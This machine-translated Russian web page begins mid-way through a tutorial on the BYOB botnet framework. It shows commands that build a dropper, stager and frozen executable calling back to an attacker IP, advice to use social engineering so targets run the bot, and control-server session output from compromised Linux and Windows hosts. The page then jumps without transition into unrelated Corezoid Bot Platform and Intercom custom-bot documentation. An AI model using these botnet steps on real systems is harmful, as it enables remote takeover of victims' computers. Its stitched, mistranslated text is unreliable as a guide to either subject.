--encrypt зашифровать полезную нагрузку случайным 128-битным ключом, встроенным в
stager полезной нагрузки
- сжать zip-compress в самовоспроизводящийся отслеживание сценария python
--freeze компиляция клиента в автономный исполняемый файл для текущей хост-платформы

-v, --version показать номер версии программы и выйти из

  • Введите клиент Python .py –name testbot.py 192.168.1.7 445
 root @ kali: / home / iicybersecurity / Downloads / byob / byob #  python client.py --name testbot.py  
  • –name используется для ввода имени ботнета. Здесь имя бота testbot.py
  • 192.168.1.7 - IP-адрес атакующего.
  • 445 - тот же порт, который используется для назначения сервера ботнета на 445. Вы должны ввести тот же номер порта, который назначен на сервере бота.
 [>] Модули 
Добавление модулей… (3 модуля добавлены в клиент)
[>] Импорт
Добавление импорта… - (26 импортов из 3 модулей)
[>] Полезная нагрузка
Сжатие полезной нагрузки… (121 261 байт уменьшен до 64 855 байтов (на -47,0% меньше)
Загрузка полезной нагрузки… - (полезная нагрузка хостинга: https://192.168.1.7:4446//payloads/a5o.py)
[>] Stager
Сжатие stager… - (2194 байта уменьшено до 2159 байт (на -2,0% меньше)
Загрузка стейджера… (стадия хостинга: https: // 192.168.1.7: 4446 // stagers / a5o.py)
[>] Дроппер
Запись дроппера… (203 байта записываются в testbot.py )
  • После выполнения вышеуказанного запроса будет создан новый ботнет. Вышеупомянутый запрос выполнит
  • Теперь вы можете использовать любой трюк социальной инженерии, чтобы открыть бота на своем компьютере.
  • Здесь две цели. Первый - это Linux, а второй - Windows.
Целевая машина Linux: -
  • Теперь у нас есть открытый ботнет на целевой машине с Linux.
  • Чтобы открыть бота, просто введите python testbot.py в целевой Linux-терминал.
 root @ kali: / Загрузки /  python testbot.py  
  • Когда указанный выше запрос выполняется на целевой машине. На сервере ботнета будет создана сессия.
 [+] Новое соединение: 192.168.1.10 
Сессия: 2
Начато: вторник, 22 января 05:14:24 2019
  • Указанное выше соединение будет создано при запуске бота на целевой машине.
  • Для проверки сеанса перейдите на терминал бота-сервера, на котором запущен бот-сервер, и введите sessions
 [root @ / home / iicybersecurity / Downloads / byob / byob]> sessions 

1
имя пользователя root
administrator True
uid c94e3a38e43e74bb4f667d86d21a7574
сеансов True
mac_address C2: 97: F3: 9F: 2:
local_ip 127.0.1.1
присоединился 2019-01-22 05: 14: 24.809827
last_online 2019-01-22 07: 12: 52.295591
public_ip 146.196.34.40
платформа linux2
архитектура 64
онлайн True
устройство kali

  • Как видите, цель показывает истину. Это означает, что бот полностью настроен на целевой машине.
  • Теперь вы можете запускать различные команды для управления целью.
Целевая машина Windows: -
  • Теперь для создания бота для Windows введите python client.py –name testbot2.py –freeze 192.168.1.7 445 в терминале Linux.
  • –name используется для ввода имени бота. Здесь имя бота testbot2.py
  • –freeze используется для создания исполняемого файла Windows.
  • 192.168.1.7 - IP-адрес злоумышленника.
  • 445 - тот же порт, который используется для назначения сервера ботнета на 445.Вы должны ввести тот же номер порта, который назначен на сервере бота.
 root @ kali: / home / iicybersecurity / Downloads / byob / byob #  python client.py --name testbot2.py --freeze 192.168.1.7 445  

[>] Модули
Добавление модулей… - (3 модуля добавлено в клиент)
[>] Импорт
Добавление импорта ..- (26 импортов из 3 модулей)
[>] Полезная нагрузка Загрузка полезной нагрузки… - (хостинг полезной нагрузки по адресу: https: // 192.168.1.8: 446 // payloads / l3p.py)
[>] Stager
Загрузка stager… (хостинг stager по адресу: https://192.168.1.8:446//stagers/l3p.py)
[>] Dropper
Запись дроппера… (203 байта записано в testbot2.py)
Компиляция исполняемого файла… 13014 ИНФОРМАЦИЯ: PyInstaller: 3.3.1
13014 ИНФОРМАЦИЯ: Python: 2.7.15+
13015 ИНФОРМАЦИЯ: Платформа: Linux-4.17.0-kali1-686- pae-i686-with-Kali-kali-Rolling-kali-Rolling
13130 ​​ИНФОРМАЦИЯ: UPX доступен.
13210 ИНФОРМАЦИЯ: расширение PYTHONPATH с помощью путей
['/ home / iicybersecurity / Downloads / byob',
'/ home / iicybersecurity / Downloads / byob / byob']
13210 ИНФОРМАЦИЯ: будет зашифровывать байт-код Python с помощью ключа: 34jZd5tQSBJwEuK2
13210 INFO : Добавление зависимостей в модуль pyi_crypto.py
13211 ИНФОРМАЦИЯ: проверка анализа
13211 ИНФОРМАЦИЯ: Анализ построения, поскольку out00-Analysis.toc не существует
13211 ИНФОРМАЦИЯ: Инициализация графа зависимостей модуля…
13252 ИНФОРМАЦИЯ: Инициализация обработчиков графа модуля ... : Анализ скрытого импорта 'base64'
16343 ИНФОРМАЦИЯ: Анализ скрытого импорта 'json'
16556 ИНФОРМАЦИЯ: Анализ скрытого импорта 'zlib'
16557 ИНФОРМАЦИЯ: Анализ скрытого импорта 'urllib'
17744 ИНФОРМАЦИЯ: Анализ скрытого импорта 'uuid'
17992 ИНФОРМАЦИЯ : Анализ скрытого импорта 'numpy'
34445 ИНФОРМАЦИЯ: Обработка перехвата модуля предварительного безопасного импорта _xmlplus
39010 ИНФОРМАЦИЯ: Обработка перехвата пути модуля предварительного поиска distutils
81800 ИНФОРМАЦИЯ: Обработка перехвата модуля предварительного безопасного импорта s ix.перемещается
95678 ИНФОРМАЦИЯ: анализ скрытого импорта «colorama»
96647 ИНФОРМАЦИЯ: анализ скрытого импорта «запросов»
114809 ИНФОРМАЦИЯ: анализ скрытого импорта «Crypto.Cipher._AES»
115242 ИНФОРМАЦИЯ: выполнение анализа Хуки модуля кеширования…
115434 ИНФОРМАЦИЯ: анализ /home/iicybersecurity/Downloads/byob/byob/testbot2.py
115471 ИНФОРМАЦИЯ: хуки загрузки модуля…
115472 ИНФОРМАЦИЯ: хуки загрузки модуля "hook-distutils.py"…
116244 ИНФОРМАЦИЯ: Перехватчик загрузочного модуля "hook-sysconfig.py "…
116290 ИНФОРМАЦИЯ: Крюк загрузочного модуля" hook-xml.py "…
116348 ИНФОРМАЦИЯ: Крюк загрузочного модуля" hook-httplib.py "…
116351 ИНФОРМАЦИЯ: Крюк загрузочного модуля" hook-pydoc.py "…
116361 ИНФОРМАЦИЯ: исключение импорта 'Tkinter'
116368 ИНФОРМАЦИЯ: Удаление импорта Tkinter из модуля pydoc
116368 ИНФОРМАЦИЯ: крючок загрузочного модуля «hook-encodings.py»…
121171 ИНФОРМАЦИЯ: загрузочный модуль модуля «hook-_tkinter.py»…
122361 ИНФОРМАЦИЯ: проверка дерева
122361 ИНФОРМАЦИЯ: построение дерева, так как out00-Tree.toc не существует
122361 ИНФОРМАЦИЯ: построение дерева out00-Tree.toc
122453 ИНФОРМАЦИЯ: проверка дерева
122453 ИНФОРМАЦИЯ: построение дерева, поскольку out01-Tree.toc не существует
122453 ИНФОРМАЦИЯ: построение дерева out01-Tree.toc
122482 ИНФОРМАЦИЯ: крючок загрузочного модуля "hook-xml.dom.domreg.py "…
122509 ИНФОРМАЦИЯ: Перехватчик загрузочного модуля" hook-pkg_resources.py "…
123352 ИНФОРМАЦИЯ: Обработка перехвата модуля предварительного безопасного импорта win32com
123752 ИНФОРМАЦИЯ: Перехватчик загрузочного модуля" hook-requests.py "…
123816 ИНФОРМАЦИЯ: Загрузочный модуль крючок "hook-certifi.py"…
124009 ИНФОРМАЦИЯ: Крюк загрузочного модуля "hook-setuptools.py "…
124141 ИНФОРМАЦИЯ: крючок загрузочного модуля" hook-cryptography.py "…
126355 ИНФОРМАЦИЯ: крюк загрузочного модуля" hook-pytest.py "…
130654 ИНФОРМАЦИЯ: крючок загрузочного модуля" hook-numpy.core.py "…
130910 ИНФОРМАЦИЯ: проверка дерева
130910 ИНФОРМАЦИЯ: построение дерева, поскольку out02-Tree.toc не существует
130910 ИНФОРМАЦИЯ: построение дерева out02-Tree.toc
130912 ИНФОРМАЦИЯ: поиск ctypes библиотек DLL
132082 ИНФОРМАЦИЯ: анализ обработчиков времени выполнения…
132110 ИНФОРМАЦИЯ: включая обработчик времени выполнения 'pyi_rth__tkinter.py'
132172 ИНФОРМАЦИЯ: Включая обработчик времени выполнения 'pyi_rth_multiprocessing.py '
132189 ИНФОРМАЦИЯ: Включая обработчик времени выполнения' pyi_rth_pkgres.py '
132225 ИНФОРМАЦИЯ: Ищем динамические библиотеки
134508 ИНФОРМАЦИЯ: Ищем яйца
134509 ИНФОРМАЦИЯ: Библиотека Python не находится в двоичных зависимостях. Выполнение дополнительного поиска…
135303 ИНФОРМАЦИЯ: Использование библиотеки Python /lib/i386-linux-gnu/libpython2.7.so.1.0
135334 ИНФОРМАЦИЯ: предупреждения записаны в / home / iicybersecurity / Downloads / byob / byob / build / testbot2 / warntestbot2 .txt
136600 ИНФОРМАЦИЯ: перекрестная ссылка на график записана в / home / iicybersecurity / Downloads / byob / byob / build / testbot2 / xref-testbot2.html
137198 ИНФОРМАЦИЯ: проверка PYZ
137199 ИНФОРМАЦИЯ: Создание PYZ, потому что out00-PYZ.toc не существует
137199 ИНФОРМАЦИЯ: Создание PYZ (ZlibArchive) / home / iicybersecurity / Downloads / byob / byob / build / testbot2 / out00-PYZ. pyz
140632 ИНФОРМАЦИЯ: Сборка PYZ (ZlibArchive) /home/iicybersecurity/Downloads/byob/byob/build/testbot2/out00-PYZ.pyz успешно завершена.
141007 ИНФОРМАЦИЯ: проверка PKG
141008 ИНФОРМАЦИЯ: Создание PKG, поскольку out00-PKG.toc не существует
141008 ИНФОРМАЦИЯ: Создание PKG (CArchive) out00-PKG.pkg
161496 ИНФОРМАЦИЯ: Создание PKG (CArchive) out00-PKG.pkg успешно завершено.
161599 ИНФОРМАЦИЯ: загрузчик /usr/local/lib/python2.7/dist-packages/PyInstaller/bootloader/Linux-32bit/run
161599 ИНФОРМАЦИЯ: проверка EXE
161599 ИНФОРМАЦИЯ: сборка EXE, поскольку out00-EXE.toc не существует
161600 ИНФОРМАЦИЯ: Сборка EXE из out00-EXE.toc
162033 ИНФОРМАЦИЯ: Добавление архива в раздел ELF в EXE / home / iicybersecurity / Downloads / byob / byob / dist / testbot2
163893 ИНФОРМАЦИЯ: Сборка EXE из out00-EXE.toc успешно завершен.
(24 818 636 байт сохранено в файл: / home / iicybersecurity / Downloads / byob / byob / dist / testbot2)

  • После выполнения вышеуказанного запроса будут созданы два файла. testbot2.py и testbot2.spec
  • Переименуйте testbot2.spec в testbot2.exe.
  • Для переименования типа mv testbot2.spec testbot2.exe
 root @ kali: / home / iicybersecurity / Downloads / byob / byob #  mv testbot2.spec testbot2.exe  
root @ kali: / home / iicybersecurity / Downloads / byob / byob #
  • Теперь у нас есть открытый ботнет на целевой машине с Windows.
  • Для запуска бота на целевой машине Windows. Python 2.7 должен быть установлен и переменные среды должны быть установлены для запуска бота.
  • Для настройки среды PATH python перейдите по адресу: https://www.python.org/download/releases/2.7/
  • Затем откройте My Computer Properties> Advance System Settings> Environment Variables> System Variables .
  • Щелкните «Создать» и введите имя переменной: Путь Путь к переменной: путь \ к \ вашему \ python \ installer
  • Для проверки правильности настройки python. Откройте cmd на машине с Windows и введите python –version
  • После настройки python запустите bot в cmd .
  • Для открытия бота введите testbot2.exe в Windows CMD.
  • Когда указанный выше запрос выполняется на целевой машине.На сервере ботнета будет создана сессия.
  • Для проверки сеанса введите клиентов
 [root @ / home / iicybersecurity / Downloads / byob / byob] 
> клиентов
1`
имя пользователя iicybersecurity
администратор True
uid 7ac235609435c8a16adc9049ec187daa
sessions : 52: 2A: 45: 31: E4
local_ip 169.254.123.37
присоединился 2019-01-23 06: 21: 27.582403
last_online 2019-01-23 07: 22: 15.861055
public_ip 27.5.19.124
платформа win32 архитектура
32
онлайн True
устройство WIN-31VSBP3FUQT
  • Как видите, цель показывает истину. Это означает, что бот полностью настроен на целевой машине.
  • Теперь вы можете запускать различные команды для управления целью.
  • Как бот также может использоваться в атаках социальной инженерии. Существуют и другие способы захватить любого пользователя, использующего trevarc2 , что поможет вам получить контроль над целевой машиной.

Исследователь кибербезопасности. Специалист по информационной безопасности, в настоящее время работает специалистом по инфраструктуре рисков и исследователем. Он исследователь кибербезопасности с более чем 25-летним опытом. Он служил в разведывательном управлении в качестве старшего офицера разведки.Он также работал с Google и Citrix над разработкой решений для кибербезопасности. Он помогал правительству и многим федеральным агентствам в предотвращении многих киберпреступлений. В свободное время он пишет для нас последние 5 лет.

Создание нового бота с помощью платформы ботов 2.0

Бот в Corezoid - это отдельный проект, который создается с нуля по простой процедуре:

Вы можете подключить бот-платформу к новым или созданным ранее мессенджер-ботам.


Шаг 1. Создание ботов в мессенджерах

Bot Platform обращается к ботам в мессенджерах через HTTP API с идентификацией токена. В этом разделе обсуждаются процедуры получения токенов доступа для каждого поддерживаемого мессенджера. Если вы хотите подключить существующего бота к Bot Platform, вы можете перейти к следующему этапу.

Токен - это ключ для доступа к вашему боту. Любой, у кого есть этот ключ, может управлять вашим ботом.

Хранилище токенов и доступ к ним должны соответствовать требованиям безопасности для конфиденциальных данных.

Телеграмма

  1. Начните чат с BotFather и нажмите кнопку Start .
  2. Отправьте команду / newbot в BotFather, чтобы создать нового бота.
  3. Следуйте инструкциям BotFather:
    • Укажите имя вашего бота.
    • Дайте вашему боту имя пользователя, которое будет отображаться в контактах, чатах и ​​адресах. Имя пользователя должно иметь окончание bot , например TetrisBot или tetris_bot . Имя и логин бота должны быть уникальными в Telegram .
  4. Сохраните токен доступа к своему боту.

Viber

  1. Войдите на сайт partners.viber.com со своей учетной записью Viber.
  2. Щелкните Create Bot Account .
  3. Заполните форму создания бота.
  4. Сохраните токен доступа к своему боту.

Facebook Messenger

  1. Войдите в свою учетную запись Facebook.

  2. Поскольку каждый бот Facebook должен быть подключен к странице Facebook, создайте новую страницу, к которой ваш бот будет подключен, следуя этим инструкциям.

  3. Перейти на Facebook для разработчиков. Если вы здесь новичок, вам необходимо зарегистрироваться как разработчик.

  4. Укажите Мои приложения , а затем щелкните Создать новое приложение .

  5. В появившемся диалоговом окне Create a New App ID заполните все поля и затем нажмите Create App ID . Ваше новое приложение создано.

  1. Щелкните значок создаваемого приложения.Вы должны попасть на страницу настройки приложения.

  2. Перейдите в категорию Dashboard в меню слева на странице настройки.

  3. На панели Add a Product найдите Messenger и нажмите кнопку Set Up под ним. Запись Messenger появится в разделе Products в меню слева, и вы попадете на страницу настроек Messenger Platform .

  1. Перейдите в раздел Access Tokens , где выберите нужную страницу в раскрывающемся списке Page , а затем щелкните Edit Permissions .Это должна быть страница, которую вы создали на втором шаге.

  1. В появившемся диалоговом окне нового браузера нажмите Продолжить как Ваш профиль Имя , чтобы подтвердить привязку бота к вашей учетной записи Facebook.

  1. Затем установите флажок для страницы , к которой будет прикреплен ваш бот, и нажмите Далее . Это должна быть страница, которую вы создали на втором шаге.

  1. Установите переключатель для вашей страницы на ДА , чтобы ваш бот мог участвовать в чатах P2P в мессенджере на этой странице, а затем нажмите Готово .

  1. Щелкните Ok .

  1. В поле Page Access Token отображается токен доступа.

  1. Сохраните этот токен.

Шаг 2. Создание новой компании в отправителе

Наряду с автоматизацией связи, Bot Platform имеет возможность вовлекать оператора в разговор для оказания поддержки клиентам, если это необходимо. Рабочее место оператора организовано с помощью мессенджера Sender.

При создании нового проекта бота необходимо выбрать существующую компанию-отправитель или создать новую.

В этом разделе рассказывается, как зарегистрироваться в Sender и создать там новую компанию. Если вы хотите подключить существующую компанию, перейдите к следующему разделу
.

Существуют мобильные (Android, iOS) и веб-клиентские приложения Sender. Вы можете зарегистрироваться и работать оператором в любом приложении. В этом разделе рассматривается веб-сайт.

Для регистрации вам необходимо указать номер мобильного телефона, на котором будет зарегистрирована ваша учетная запись отправителя и первая компания.

Чтобы зарегистрироваться с помощью мобильного приложения, выполните следующие действия:

  1. Установите приложение на свое устройство:
  2. Разрешите права доступа, запрашиваемые приложением.
  3. Сообщите номер телефона для регистрации.

Чтобы зарегистрироваться в веб-приложении, выполните следующие действия:

  1. Перейдите в веб-приложение Sender.

  1. Введите номер телефона для регистрации и щелкните ПРОДОЛЖИТЬ .

  1. Введите код активации, полученный по SMS, и нажмите ПРОДОЛЖИТЬ .

После успешной регистрации вы окажетесь на главной странице веб-приложения.

При регистрации в Sender создается и регистрируется новая компания с номером телефона, указанным для регистрации. Для работы с бот-проектом вам необходимо создать еще одну новую компанию.

Все дальнейшие процедуры в этом разделе предполагают, что вы:

  1. Создана учетная запись отправителя.
  2. Зашел на страницу администратора.

Ваша компания-отправитель автоматически прикрепляется к вашей учетной записи Corezoid во время ее создания, если вы зарегистрировали ее с тем же адресом электронной почты, который указан в вашей учетной записи Corezoid.Компания по умолчанию, созданная при регистрации в Sender, не привязывается к Corezoid автоматически, поскольку она зарегистрирована по номеру телефона.

Для создания новой компании-отправителя с автоматическим присоединением ее к Corezoid выполните следующие действия:

  1. В левом боковом меню перейдите в раздел компаний> Создать .

  1. Заполните обязательные поля Имя и Телефон .

  2. В поле E-mail введите адрес электронной почты, на который зарегистрирована ваша учетная запись Corezoid.

  3. При необходимости заполните остальные поля.

  4. Щелкните Создать . Создается новая Компания, которая также синхронизируется с Corezoid.

Если по какой-либо причине вы не можете предоставить Компании-отправителю адрес электронной почты, используемый в вашей учетной записи Corezoid, вы можете попытаться привязать такую ​​Компанию к Corezoid с помощью роботов:

  1. В левом боковом меню перейдите в раздел Роботы> Роботы .

  1. Щелкните Создать . Появится панель Новый робот .

  1. Заполните обязательное поле Имя .
  2. Щелкните Создать . Новый робот создается в компании Sender, и эта компания также синхронизируется с Corezoid.

Sender - это рабочее пространство операторов. Пользователь создал новую компанию-отправителя - единственный оператор, имеющий роль владельца .Чтобы добавить новых операторов, перейдите в Операторы> Управление .

Вы можете использовать роли для разграничения доступа ваших коллег в рамках одной компании-отправителя.

Для этого вам необходимо добавить коллегу в качестве Оператора и установить ему необходимую роль:

  1. Убедитесь, что коллега подписан на отправителя; в противном случае вы не сможете добавить этого человека.

  2. Щелкните ДОБАВИТЬ ПОЛЬЗОВАТЕЛЯ .Появится панель Пригласить пользователя .

  1. Введите номер телефона товарища по команде в поле Телефон .

  2. Укажите роль вашего товарища по команде в компании в поле Роль .

  3. Щелкните ПРИГЛАСИТЬ . Товарищ по команде получит сообщение с приглашением в Sender.

  4. Товарищ по команде должен подтвердить ваше приглашение. После подтверждения этот человек появится в сетке Operators в разделе Operators> Manage .

Дополнительную информацию об отправителе можно найти в его документации.


Шаг 3. Подключение бота к платформе ботов на Corezoid

Используйте следующую процедуру для создания платформы ботов:

  1. Зайдите в админку Corezoid.

  2. В левом верхнем углу щелкните раскрывающийся список Company и выберите в нем , созданный ранее Sender Company .

  1. Щелкните Create , а затем щелкните Bot Platform в раскрывающемся списке.

  1. В диалоговом окне Bot Platform установите флажки для подключаемых мессенджеров и введите токен для каждого из выбранных.

  1. Убедитесь, что выбрана версия Bot Platform 2.0 .

  2. Щелкните Далее . Начался процесс подключения мессенджеров - дождитесь уведомления об успешном завершении этого процесса.

  1. Если процесс подключения не увенчался успехом, убедитесь, что каждый токен действителен.

  2. Если вы подключаете Facebook Messenger, вам также необходимо подписаться на Facebook Messenger Webhooks в панели администратора Facebook. Процедура подписки на Facebook Messenger Webhook обсуждается ниже в этом разделе.

  3. Нажмите Открыть созданного бота . Вы находитесь в папке Bot Platform . Эта папка подробно обсуждается в разделе Обзор компонентов Bot Platform 2.0.

Чтобы подписаться на Facebook Webhook вручную (для других мессенджеров это делается автоматически), используйте следующую процедуру:

  1. Перейдите на страницу своего приложения Facebook в Facebook для разработчиков.
  2. Скопируйте токен доступа, который обсуждается на шагах 12-13 процедуры создания нового бота Facebook Messenger.
  3. В левом боковом меню перейдите в раздел Messenger> Настройки и нажмите Подписка на События .

  1. Вставьте скопированный токен в поле Verify Token диалогового окна New Page Subscription .

  1. Перейдите в диалоговое окно Bot Platform Corezoid и нажмите Copy под URL-адресом Webhook для Facebook Messenger.

  1. Перейдите в диалоговое окно New Page Subscription Facebook и вставьте скопированный URL-адрес веб-перехватчика в поле Callback URL .

  2. Установите флажки для событий, которые должен получать процесс Corezoid. Рекомендуется выбрать: сообщений, messaging_postbacks и messaging_optins .

  1. Щелкните Проверить и сохранить . Диалоговое окно должно исчезнуть.Кроме того, выбранные события и раскрывающийся список Select a Page должны появиться на панели Webhooks .

  1. В этом раскрывающемся списке выберите страницу , на события которой ваша страница будет подписана. Должна появиться кнопка Subscribe .

  1. Click Подписаться .

🎊 Поздравляем! Вы создали свою первую бот-платформу.

Была ли эта статья полезной?

Да Нет

Разбейте свой номер с помощью кастомных ботов

Пользовательские боты работают весь день каждый день - они активно начинают беседу, задают правильные вопросы, предоставляют четкие пути и доставляют квалифицированных потенциальных клиентов.

Вы можете создать своего бота за считанные минуты. Просто создайте простые пути, по которым ваши лиды будут следовать. Затем позвольте вашему боту позаботиться о следующих шагах, таких как назначение потенциальных клиентов нужным командам, добавление потенциальных клиентов в вашу CRM и многое другое.

В отличие от других ботов, вы также можете отправлять приложения, чтобы побудить потенциальных клиентов предпринять последующие действия, такие как бронирование встречи, запрос демонстрации, подписка на рассылку новостей и многое другое.

Отлично, с чего начать?

Посмотрите это видео, чтобы узнать, как создать собственного бота, или прочтите текст ниже 👇

Чтобы начать создание своего первого бота, перейдите в: Оператор> Пользовательские боты> Новый пользовательский бот.

------------------------------------------------ -------------------------------------------------- ---------------------------

Готовы начать работу прямо сейчас?
Начните конвертировать на 36% больше потенциальных клиентов за считанные минуты!
Создайте своего первого кастомного бота прямо сейчас

-------------------------------------- -------------------------------------------------- -------------------------------------

Совет: Вы можете ориентироваться на посетителей, потенциальных клиентов, пользователей или комбинацию всех трех с пользовательскими ботами.

Для создания, редактирования и настройки пользовательских ботов в реальном времени у вас должно быть разрешение на отправку сообщений более чем одному человеку одновременно.

Привлекайте потенциальных клиентов на свой сайт

Путь приветствия (путь A) - это первое сообщение, которое получат ваши посетители. Посетители могут ответить на этот вопрос с несколькими вариантами ответов. Например, если вы создаете бота по продажам, чтобы помочь вам квалифицировать потенциальных клиентов, вы можете спросить что-то вроде этого:

Совет для профессионалов: Чтобы больше места и меньше отвлекающих факторов, нажмите здесь, чтобы создать своего бота в полноэкранном режиме:

Затем добавьте кнопки ответа, которые могут выбирать посетители.

Примечание: Как только посетитель взаимодействует с вашим ботом, он становится лидером.

Персонализируйте пути в зависимости от того, кем являются ваши лиды и что им нужно.

Теперь вы можете направлять потенциальных клиентов по разным путям на основе их ответов. Путь - это набор настраиваемых вопросов и ответов, которые помогут вам понять, кто такой потенциальный клиент и что он ищет.

Просто нажмите «Выбрать путь», затем «Добавить путь» рядом с каждой кнопкой ответа.

Затем дайте каждому пути четкое описательное имя, чтобы его было легко идентифицировать.

Pro Совет: Чтобы быстро перейти к следующему пути, щелкните эту стрелку справа:

Подберите потенциальных клиентов, чтобы вы могли отслеживать их индивидуально.

Затем настройте новые пути.

Вы можете собирать важную информацию от своих потенциальных клиентов, чтобы помочь вам быстрее квалифицировать их и лучше узнать их.

Например, вы должны квалифицировать потенциальных клиентов, которые хотят «поговорить с продажами», чтобы вы могли направлять различные типы потенциальных клиентов в нужные группы продаж и направлять каждого из них к идеальному следующему шагу.

Просто добавьте сообщение бота, затем выберите поле данных, которое вы хотите собрать, например название компании:

Совет профессионала: Внимание вашего лидера быстро исчезнет. Таким образом, запрашивайте не более 5 деталей.

Вы также можете спросить размер компании ваших потенциальных клиентов, адрес электронной почты или что-то еще, что подходит для вашего бизнеса.

Примечание. Вы можете выбрать любые данные, указанные в настройках квалификации.

Разветвляйте людей на следующий путь на основе их ответов

На основании их ответов легко направить людей разными путями.Просто выберите «конечный путь с кнопками ответа», затем добавьте свой вопрос и ответы.

Например, если потенциальный клиент хочет поговорить в чате, чтобы получить поддержку, вы можете спросить его, является ли он уже клиентом. Это поможет вам отделить потенциальных клиентов от клиентов и еще больше ускорить цикл продаж 🙌

Затем вы можете создать новые пути для каждого из этих ответов.

Сохранить ответы клиентов как атрибуты данных

Когда потенциальные клиенты или пользователи нажимают кнопку ответа, вы можете сохранить их выбор в качестве атрибута данных, чтобы он всегда был доступен вашей команде.Просто установите флажок «Сохранить значения ответа в атрибут данных» и выберите правильный атрибут:

Если у вас еще нет атрибута для этого значения, вы можете создать новый из раскрывающегося списка:

Примечание. : Вы можете сохранять ответы только как текстовые атрибуты.

Пусть ваш бот позаботится о следующих лучших шагах для вас и ваших потенциальных клиентов

После каждого шага в пути вы можете инициировать любое из следующих действий:

  • Отметить клиента.
  • Отметьте разговор.
  • Назначьте беседу конкретному почтовому ящику.
  • Отметить как приоритетное.
  • Позвольте Resolution Bot ответить на любые последующие вопросы.

Если в вашей учетной записи Intercom установлено приложение Salesforce, HubSpot или Marketo, вы также можете:

  • Создать лид в Salesforce.
  • Создайте контакт в HubSpot.
  • Увеличьте лидерство на рынке Marketo.

Просто нажмите « + Добавить» под сообщениями бота и выберите из списка действия:

Затем, в конце каждого пути, вы можете настроить последующие действия в зависимости от того, кто ваши лиды и как они ценны для вашего бизнеса.Это можно сделать двумя способами:

Предоставить каждому лиду на определенном пути одинаковые последующие действия

Например, если лиды указывают, что они просто просматривают, вы можете завершить беседу, а затем отправить им подписку MailChimp. Приложение для обмена сообщениями, побуждающее их подписаться на вашу рассылку новостей, чтобы и дальше заботиться о них.

И вы можете настроить своего бота на автоматическое закрытие беседы, чтобы она не попадала в ваш список открытых бесед.

Примечание. Вам понадобится папка «Входящие», чтобы использовать последующие действия.

Дайте разным типам лидов разные последующие действия

Вы также можете создать условные последующие действия для определенных типов лидов, в зависимости от того, кто они и насколько они ценны для вашего бизнеса.

Например, вы можете назначить ценных потенциальных клиентов (например, тех, у которых более 100 сотрудников) вашей группе продаж VIP-услуг и предложить им записаться на звонок с членом вашей команды.

Затем вы можете назначить клиентов самообслуживания (например, с менее чем 100 сотрудниками) своему обычному отделу продаж, создать лид в Salesforce и добавить приложение Content Showcase, чтобы пригласить их бесплатно испытать ваш продукт.

Совет: Есть другие приложения, из которых вы можете выбрать, например, Поиск статей и Shopify.

Выберите, куда и как часто отправлять своего бота

После создания своего собственного бота вы должны выбрать, как именно вы хотите, чтобы он отправлялся лидам или клиентам.

Сначала выберите, когда показывать бота до:

Выберите из:

  • Просмотрено - Показывать бота клиентам один раз, а затем не снова, независимо от того, взаимодействуют ли они с ним или отклоняют его.
  • Любое взаимодействие происходит - Постоянно показывайте бота клиентам, пока они не начнут с ним взаимодействовать (выберите путь для бота), не откроют Messenger или не закроют уведомление.
  • Вовлечено с - постоянно показывайте бота клиентам, пока они не начнут с ним взаимодействовать, выбрав путь бота. Если они закроют бота или откроют мессенджер, он будет скрыт до конца их сеанса. Когда они начинают новый сеанс, бот будет отображаться снова, пока они не начнут с ним работать.

Прочтите эту статью, чтобы узнать больше об отправке пользовательских ботов более одного раза.


Затем выберите, где сначала показывать бота:

Выберите из:

  • Интернет - это идеальная настройка для взаимодействия с посетителями вашего веб-сайта. 👌
  • iOS
  • Android

Измерение эффективности пользовательских ботов с помощью A / B-тестирования и контрольных групп

A / B-тестирование

A / B-тестирование различного контента или путей ботов просто, чтобы вы могли узнайте, какие из них наиболее эффективны для привлечения посетителей и привлечения потенциальных клиентов на ваш сайт.

Сначала нажмите «Запустить новый тест» и выберите «Тест A / B»:

. Затем вы увидите две версии вашего настраиваемого бота: «Тест A» и «Тест B»:

Переключение между ними. для внесения каких-либо изменений в пути бота, контент или последующие действия, которые вы хотите протестировать. 👌

Совет для профессионалов: Рекомендуется проверять одно изменение за раз, чтобы точно определить причину любой разницы в результатах.

Контрольные группы

Чтобы проверить эффективность бота в целом, вы можете вместо этого использовать контрольную группу:

Контрольная группа отправит вашего настраиваемого бота только половине аудитории, чтобы вы могли оценить разницу, которая на нее влияет призван побуждать посетителей достичь цели вашего бота.

Прочтите эту статью, чтобы узнать больше об A / B-тестировании и контрольных группах.

Ориентируйтесь на нужных посетителей

Вы можете настроить таргетинг своего бота на нужную аудиторию. Чтобы привлечь качественных потенциальных клиентов, вам нужно настроить таргетинг на самых заинтересованных посетителей вашего сайта. Здесь ваши фильтры могут быть такими:

  • Время на текущей странице 5 секунд.
  • Общее количество посещений превышает 3.

Примечание: Вы можете комбинировать фильтры «И» с фильтрами «ИЛИ» для более целевой аудитории.

Совет для профессионалов: При таргетинге на конкретный URL-адрес. Рекомендуется скопировать и вставить его напрямую из вашего приложения или сайта, так как при этом будут обнаружены любые символы, скрытые в адресной строке вашего браузера, например косая черта в конце.

Запустите своего бота для отправки в удобное для вашего бизнеса время

После того, как вы закончите проектирование своего бота, вы можете выбрать, когда он будет запускаться. Например:

  • Если у вас есть бот, отвечающий за квалификацию продаж, вы можете активировать его для отправки в рабочее время, когда ваша команда готова ответить.
  • Или, если у вас есть бот вне офиса, вы можете активировать его для отправки в нерабочее время, чтобы вы могли генерировать потенциальных клиентов, даже когда ваша команда отсутствует.

Примечание: Эта функция доступна только в определенных тарифных планах внутренней связи. Смотрите наши планы и цены здесь.

Держите своего бота организованным

По мере добавления новых путей к пользовательским ботам вы можете изменить их порядок в конструкторе ботов или добавить новые пути в определенных точках. Чтобы изменить порядок путей, просто щелкните и перетащите с помощью этой кнопки:

Чтобы добавить новый путь в определенной точке, щелкните значок «три точки» и выберите «Добавить путь ниже»:

Определите приоритеты, каких ботов ваши посетители увидят первыми

Посетитель получает одновременно только одного бота.Чтобы выбрать бота, которого мы отправим первым, просто перетащите его в верхнюю часть списка.

Совет от профессионалов: Вы должны установить уникальную целевую аудиторию для каждого созданного вами бота. Это поможет предотвратить получение похожих ботов одними и теми же посетителями.

Задайте цель для своего настраиваемого бота

Прежде чем запускать своего бота, вы должны установить цель, чтобы вы могли точно измерить ее влияние. Это действие, которое вы хотите, чтобы ваши клиенты выполняли, или изменение, которое должно произойти в результате получения настраиваемого бота.

Например, если вы используете настраиваемого бота для создания новых потенциальных клиентов и сбора адресов электронной почты, вы можете установить цель «Электронная почта имеет любое значение»:

Вы также можете определить временной лимит для этого изменения или действия. :

